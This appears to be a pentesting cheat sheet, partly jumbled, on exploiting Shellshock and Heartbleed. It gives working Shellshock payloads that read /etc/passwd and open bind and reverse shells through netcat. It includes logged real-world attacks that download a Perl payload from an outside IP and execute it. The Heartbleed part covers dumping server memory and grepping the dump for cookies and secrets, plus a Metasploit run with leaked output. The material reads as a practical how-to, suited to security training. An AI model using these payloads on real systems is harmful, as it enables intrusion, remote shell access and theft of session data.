/etc/passwd test
#echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo
\$(</etc/passwd)\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | nc 192.168.1.1 80
Bind shell
#echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;};
/usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: 192.168.1.1\r\nConnection: close\r\n\r\n" | nc 192.168.1.1 80
#nc vulnerable 9999
Reverse Shell
# nc -l -p 443Now, we just need to adapt our payload to get the server to connect back to us on port 443:
echo "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;};
/usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80By going back to our initial
netcat
, we can now type commands locally and they will be ran on the compromised system:# nc -l -p 443 id uid=1000(pentesterlab) gid=50(staff) groups=50(staff),100(pentesterlab)
test:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
18% [=====================> ] 30.429.952 478K/s ОВП 5m 0s root@Synapsis:(/tmp)
root@Synapsis:(/tmp)cat /var/log/httpd/access_log | grep '() { :;};'
54.251.83.67 - - [28/Sep/2014:13:10:07 +0300] "GET / HTTP/1.1" 200 5724 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
54.251.83.67 - - [29/Sep/2014:00:10:15 +0300] "GET / HTTP/1.1" 200 5724 "-" "() { :;}; /bin/bash -c \"echo testing9123123\"; /bin/uname -a"
173.45.100.18 - - [29/Sep/2014:03:11:49 +0300] "GET /cgi-bin/hi HTTP/1.0" 404 288 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""
173.45.100.18 - - [29/Sep/2014:03:11:49 +0300] "GET /cgi-bin/hi HTTP/1.0" 404 288 "-" "() { :;}; /bin/bash -c \"cd /tmp;wget http://213.5.67.223/ji;curl -O /tmp/ji http://213.5.67.223/jurat ; perl /tmp/ji;rm -rf /tmp/ji;rm -rf /tmp/ji*\""
Examples
https://github.com/sensepost/heartbleed-poc/blob/master/heartbleed-poc.py
- Normal scan, will hit port 443, with 1 iteration: python heartbleed-poc.py example.com
- Dump memory scan, will make 100 request and put the output in the binary file dump.bin: python heartbleed-poc.py -n100 -f dump.bin example.com
- Check a mail server with STARTTLS (i.e. port 25): python heartbleed-poc.py -s -p 25 example.com
- There used to be a -v switch to make the TLS version explicit, this is auto-detected now and has been removed
Find Juice
The binary file will have juicy output in it, here are some simple ways of finding the goods:- HTTP request: awk '/[HPG][UEO][AST][DT ]/,/Connection/' dump.bin
- Cookies: grep -a "^Cookie:" dump.bin
- Interesting Key Value Pairs: pcregrep -ao "[A-Za-z0-9_-]+=[0-9a-zA-Z]+" dump.bin
NMAP NSE Script
Usage: nmap --script=ssl-heartbleed -p 443Metasploit Module
msf > use auxiliary/scanner/ssl/openssl_heartbleed msf auxiliary(openssl_heartbleed) > show optionsModule options (auxiliary/scanner/ssl/openssl_heartbleed):
Name Current Setting Required Description
RHOSTS yes The target address range or CIDR identifier RPORT 443 yes The target port STARTTLS None yes Protocol to use with STARTTLS, None to avoid STARTTLS (accepted: None, SMTP, IMAP, JABBER, POP3, FTP) THREADS 1 yes The number of concurrent threads TLSVERSION 1.0 yes TLS version to use (accepted: 1.0, 1.1, 1.2)
msf auxiliary(openssl_heartbleed) > set rhosts example.org rhosts => example.org msf auxiliary(openssl_heartbleed) > set STARTTLS FTP STARTTLS => FTP msf auxiliary(openssl_heartbleed) > set PORT 21 PORT => 21 msf auxiliary(openssl_heartbleed) > exploit
[] 37.187.134.197:21 - Trying to start SSL via FTP [] 37.187.134.197:21 - Sending Client Hello... [] 37.187.134.197:21 - Sending Heartbeat... [] 37.187.134.197:21 - Heartbeat response, checking if there is data leaked... [+] 37.187.134.197:21 - Heartbeat response with leak [] 37.187.134.197:21 - Printable info leaked: @SE F(CKMIWsf"!98532ED/A [] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed